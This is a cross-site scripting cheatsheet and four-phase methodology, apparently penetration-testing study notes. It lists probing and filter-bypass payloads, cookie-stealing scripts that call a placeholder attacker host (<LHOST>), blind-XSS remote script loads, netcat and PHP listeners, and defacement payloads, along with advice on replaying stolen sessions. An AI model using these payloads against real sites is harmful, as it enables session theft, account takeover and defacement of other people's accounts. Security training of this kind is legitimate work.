Cross-Site Scripting (XSS)
Cheatsheet
# probing
<script>alert(window.origin)</script>
<script>print()</script>
<plaintext>
"><script>alert(window.origin)</script>
'><script>alert(window.origin)</script>
# script less in line execution
<img src=x onerror=alert(window.origin)>
<svg onload=alert(window.origin)>
<body onload=alert(window.origin)>
<iframe src="javascript:alert(window.origin)">
<input autofocus onfocus=alert(window.origin)>
<details open ontoggle=alert(window.origin)>
# basic bypasses for filters
<sCrIpT>alert(window.origin)</sCrIpT>
<img src=x onerror=prompt`1`>
<svg/onload=alert(window.origin)>#Session hijack
<script>document.location='http://<LHOST>/c='+document.cookie</script>
<script>new Image().src='http://<LHOST>/c='+document.cookie</script>
<script>fetch('http://<LHOST>/c='+document.cookie)</script>
# remote script for blindXSS
<script src=http://<LHOST>/inputname></script>
'><script src=http://<LHOST>/username></script># start a listener to catch callabakcs
sudo php -S 0.0.0.0:80
# or
nc -lvnp 80
# Automated
git clone https://github.com/s0md3v/XSStrike.git && cd XSStrike && pip install -r requirements.txt
python xsstrike.py -u "http://<IP>/index.php?task=test"Methodology
Phase 1: Map Inputs and Reflection Points
Ask youself
- Which inputs reach the rendered page? form fields, URL params, headers (
User-Agent,Cookie,Referer)? - Where does each input land back in the output: HTML body, an attribute, inside
<script>, inside a URL, or a CSS context? - Is the reflection reflected, stored, or DOM based?
# acts like canary tokensto find input in resposne / page
xss_probe_7531
"><b>xss_probe_7531</b>
'"></script><b>xss_probe_7531</b>- Enumerate every input that influences the response (fields, params, headers).
- Inject a unique benign marker into each input and find it in the response source.
- Classify the injection context (HTML, attribute, JS string, URL, CSS) this dictates the payload.
- Determine the XSS type: reflected, stored or DOM (client-side only).
- If output is never visible to you, treat it as blind XSS and move to Phase 4.
Phase 2: Confirm Execution
Ask youself
- Does the marker render as live HTML, or is it encoded (
<) i.e. is there output encoding in the way? - Does the context require a breakout first (close a tag/quote)?
- Are
<script>tags oralert()blocked here, so I need an event-handler or alternate sink? - Does
window.originconfirm the code runs on the main app and not a sandboxed cross-domain iframe?
#check if it is begin executed in the main app or in a sandboxed iframe
<script>alert(window.origin)</script>
<img src=x onerror=alert(window.origin)>
<svg onload=print()>
" onmouseover=alert(window.origin) x="- Confirm a popup.
- If encoded, test attribute/JS-context breakouts before assuming it is patched.
- If
<script>is stripped, switch to<img>/<svg>/<body>event handlers. - Read
window.originto verify the vulnerable form is the main app, not an iframe. - If stored, refresh the page to confirm persistence (fires for every visitor).
Phase 3: Weaponize (Session Hijacking / Defacement)
Ask youself
- Is the session cookie flagged
HttpOnly? If so,document.cookietheft fails pivot to in-browser actions (CSRF-style requests, account takeover). - Who triggers the payload? only me or every visitor?
- What is the highest-value action: cookie theft, performing a privileged request as the victim?
#exfil
<script>new Image().src='http://<LHOST>/c='+document.cookie</script>
# defacement
<script>document.body.style.background="#141d2b"</script>
<script>document.title='Owned'</script>
<script>document.getElementsByTagName('body')[0].innerHTML='<center><h1>Owned</h1></center>'</script>- Stand up a listener (
php -S 0.0.0.0:80ornc -lvnp 80) before sending payloads. - Steal and replay the cookie; if
HttpOnlyblocks it, perform an authenticated action in-browser instead. - For reflected XSS, build the crafted URL that carries the payload and validate it end-to-end.
- Capture evidence (request, executing
window.origin, received cookie) for reporting. - Carry stolen sessions/creds forward to authenticated areas and other services.
Phase 4: Blind XSS
Ask youself
- Which field fired? Name the remote script after the field so the callback identifies it.
- Which payload shape works?
- Which fields can I skip? Server-validated formats (email) and hashed fields (password) are unlikely sinks.
- Did the request arrive on my listener, the only proof of execution I get here?
# Add fiel names
<script src=http://<LHOST>/fullname></script>
'><script src=http://<LHOST>/username></script>
"><script src=http://<LHOST>/address></script>- Start a web server on
<LHOST>to receive callbacks. - Inject a remote-script payload whose path encodes the field name, one field at a time.
- Rotate breakout variants (
'>,">, raw) since the context is unknown. - Skip format-validated (email) and hashed (password) or phone Numeric fields to cut the search space.
- On a callback, record both the working payload and the vulnerable field name.
Methodology Recovery
If nothing executes after exhausting the above: re-check the context (you may be encoding for HTML when the sink is a JS string or attribute), try case/whitespace/encoding evasions against a filter, confirm there is no CSP blocking inline/remote scripts (Content-Security-Policy response header), and review client-side JS for a DOM sink you can reach directly. Then re-rank inputs and retry the simplest breakout first.
Source and Sink (DOM XSS)
- Source are the JavaScript object that takes input (e.g.
document.URL, atask=URL parameter, an input field). - Sink are the functions that writes that input into the DOM. If it writes raw, unsanitized input, it is exploitable.
Dangerous sinks: document.write(), element.innerHTML, element.outerHTML; jQuery add(), after(), append(), html(). Example vulnerable flow: input from the URL written straight into the page:
var pos = document.URL.indexOf("task=");
var task = document.URL.substring(pos + 5, document.URL.length);
document.getElementById("todo").innerHTML = "<b>Next Task:</b> " + decodeURIComponent(task);innerHTML will not execute <script> tags it inserts (a browser security feature), so DOM XSS via innerHTML uses self-triggering tags like <img src=x onerror=...> or <svg onload=...> instead.
Reference
Discovery Approaches
- Automated scanners (Burp Pro, ZAP, Nessus) and open-source tools (XSStrike , BruteXSS , XSSer ) inject payloads and diff the response. Fast but false-positive-prone always verify a reported hit manually.
- Manual payload testing work lists like PayloadsAllTheThings and payload-box/xss-payload-list . Most payloads target a specific context, so failures are expected; pick payloads that match your injection context.
- Code review the most reliable method. Tracing input from Source to Sink (front and back end) lets you craft a high-confidence payload and find bugs scanners miss.
XSS is not limited to visible form fields. Any input rendered on a page is a candidate, including HTTP headers like Cookie, User-Agent, and Referer when their values are echoed back.
Map to MITRE ATT&CK T1059.007 (JavaScript) and the OWASP A03:2021 Injection category for reporting.
Quiz
A stored XSS fires, but document.cookie returns an empty string even though you are logged in. What is the most likely cause and best next move?
Quiz
You injected your marker and it comes back as <b>test</b> in the response. What does this tell you?
Common Mistakes
- Confusing reflection with execution seeing your marker in the source does not mean code ran. Confirm with a popup/
print(). - Ignoring context firing HTML-body payloads when the sink is a JS string or attribute. Match the payload to where input lands.
- Assuming
<script>always worksinnerHTMLand many filters block it; use<img>/<svg>event handlers. - Forgetting
HttpOnlywasting time ondocument.cookietheft when you should be performing in-browser actions. - Trusting scanner output without manual verification, or testing format-validated fields (email) in blind XSS instead of skipping them.
- Using a static
alert(1)instead ofalert(window.origin), missing that the form is inside a sandboxed cross-domain iframe.
Attack Chains / Related Notes
- Came from: Web content discovery and parameter mapping during recon every reflected input is an XSS candidate.
- Leads to: Session hijacking and account takeover (replay stolen cookies into authenticated areas), CSRF-style privileged actions as the victim, and credential capture that feeds reuse against other services.